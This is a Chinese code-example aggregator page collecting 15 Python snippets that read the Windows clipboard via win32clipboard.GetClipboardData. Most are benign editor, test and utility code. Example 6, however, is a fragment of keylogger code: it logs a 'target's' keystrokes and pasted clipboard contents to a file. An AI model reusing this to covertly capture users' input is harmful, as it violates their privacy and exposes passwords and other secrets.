本文整理汇总了Python中win32clipboard.GetClipboardData方法的典型用法代码示例。如果您正苦于以下问题:Python win32clipboard.GetClipboardData方法的具体用法?Python win32clipboard.GetClipboardData怎么用?Python win32clipboard.GetClipboardData使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类win32clipboard
的用法示例。
在下文中一共展示了win32clipboard.GetClipboardData方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: get_system_text
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def get_system_text(cls):
win32clipboard.OpenClipboard()
try:
content = win32clipboard.GetClipboardData(cls.format_unicode)
if not content:
content = win32clipboard.GetClipboardData(cls.format_text)
except (TypeError, pywintypes.error):
content = u""
finally:
win32clipboard.CloseClipboard()
return content
示例2: get_paste_buffer
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def get_paste_buffer():
win32clipboard.OpenClipboard(0)
try:
result = win32clipboard.GetClipboardData()
except TypeError:
result = '' #non-text
win32clipboard.CloseClipboard()
return result
示例3: OnEditExecClipboard
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def OnEditExecClipboard(self, command, code):
""" Executes python code directly from the clipboard."""
win32clipboard.OpenClipboard()
try:
code=win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
finally:
win32clipboard.CloseClipboard()
code=code.replace('\r\n','\n')+'\n'
try:
o=compile(code, '<clipboard>', 'exec')
exec o in __main__.__dict__
except:
traceback.print_exc()
示例4: testComToWin32
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def testComToWin32(self):
# Set the data via our DataObject
do = TestDataObject("Hello from Python")
do = WrapCOMObject(do, iid=pythoncom.IID_IDataObject)
pythoncom.OleSetClipboard(do)
# Then get it back via the standard win32 clipboard functions.
win32clipboard.OpenClipboard()
got = win32clipboard.GetClipboardData(win32con.CF_TEXT)
# CF_TEXT gives bytes on py3k - use str2bytes() to ensure that's true.
expected = str2bytes("Hello from Python")
self.assertEqual(got, expected)
# Now check unicode
got = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT)
self.assertEqual(got, u"Hello from Python")
win32clipboard.CloseClipboard()
示例5: win32_clipboard_get
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def win32_clipboard_get():
""" Get the current clipboard's text on Windows.
Requires Mark Hammond's pywin32 extensions.
"""
try:
import win32clipboard
except ImportError:
raise TryNext("Getting text from the clipboard requires the pywin32 "
"extensions: http://sourceforge.net/projects/pywin32/")
win32clipboard.OpenClipboard()
text = win32clipboard.GetClipboardData(win32clipboard.CF_TEXT)
# FIXME: convert \r\n to \n?
win32clipboard.CloseClipboard()
return text
示例6: KeyStroke
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def KeyStroke(event):
global current_window
# check to see if target changed windows
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# if they pressed a standard key
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
checkTriggers(chr(event.Ascii))
writeToFile(chr(event.Ascii))
else:
# if [Ctrl-V], get the value on the clipboard
# added by Dan Frisch 2014
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
if (len(pasted_value) < paste_limit):
print "[PASTE] - %s" % (pasted_value),
writeToFile("[PASTE] - %s" % (pasted_value))
else:
print "[%s]" % event.Key,
writeToFile("[%s]" % event.Key)
# pass execution to next hook registered
return True
#This gets the current process, so that we can display it on the log
示例7: _execute
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def _execute(self, data=None):
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print("Opening link: %s" % data)
webbrowser.open(data)
示例8: text
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def text( self ):
"""
\remarks Returns the text hold in the clipboard.
\return <string> text
"""
import win32clipboard
try:
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData( win32clipboard.CF_TEXT )
win32clipboard.CloseClipboard()
except:
value = ''
return value
示例9: get_system_text
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def get_system_text(cls):
win32clipboard.OpenClipboard()
try:
content = win32clipboard.GetClipboardData(cls.format_unicode)
finally:
win32clipboard.CloseClipboard()
return content
示例10: getClipboardData
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def getClipboardData():
from win32clipboard import CF_UNICODETEXT
if win32clipboard.IsClipboardFormatAvailable(CF_UNICODETEXT):
return win32clipboard.GetClipboardData().decode('cp1252')
else:
return None
示例11: get_data
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def get_data():
sleep(0.3) # 秒数关系到是否能复制成功。
op.keybd_event(17, 0, 0, 0)
op.keybd_event(67, 0, 0, 0)
sleep(0.1) # 没有这个就复制失败
op.keybd_event(67, 0, 2, 0)
op.keybd_event(17, 0, 2, 0)
cp.OpenClipboard(None)
raw = cp.GetClipboardData(13)
data = raw.split()
cp.CloseClipboard()
return data
示例12: __get_clipboard
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def __get_clipboard(self):
self.logger.info('Getting clipboard contents')
list_to_csv = [("COMPUTER_NAME", "TYPE", "DATA")]
r = None
try:
r = Tk() # Using Tk instead because it supports exotic characters
data = r.selection_get(selection='CLIPBOARD')
r.destroy()
list_to_csv.append((self.computer_name, 'clipboard', unicode(data)))
except:
if r: # Verify that r exists before calling destroy
r.destroy()
win32clipboard.OpenClipboard()
clip = win32clipboard.EnumClipboardFormats(0)
while clip:
try:
format_name = win32clipboard.GetClipboardFormatName(clip)
except win32api.error:
format_name = "?"
self.logger.info('format ' + unicode(clip) + ' ' + unicode(format_name))
if clip == 15: # 15 seems to be a list of filenames
filenames = win32clipboard.GetClipboardData(clip)
for filename in filenames:
list_to_csv.append((self.computer_name, 'clipboard', filename))
clip = win32clipboard.EnumClipboardFormats(clip)
win32clipboard.CloseClipboard()
return list_to_csv
示例13: _clipget
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def _clipget(self):
win32clipboard.OpenClipboard(self.app.hwnd)
try:
text = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT)
self.logger.debug('text=%r' % text)
self.chan.send(text.encode(self.server.codec))
except TypeError:
self.logger.error('No clipboard text.')
win32clipboard.CloseClipboard()
return
示例14: _getContentsFromClipboard
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def _getContentsFromClipboard():
win32clipboard.OpenClipboard()
content = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
return content
示例15: get
# 需要导入模块: import win32clipboard [as 别名]
# 或者: from win32clipboard import GetClipboardData [as 别名]
def get():
if sys.platform == "win32":
import win32clipboard as clip
clip.OpenClipboard()
# TODO: what type does this return?
data = clip.GetClipboardData(clip.CF_UNICODETEXT)
#print("clipboard.get =", repr(data))
clip.CloseClipboard()
return data
else:
raise RuntimeError("Unsupported platform")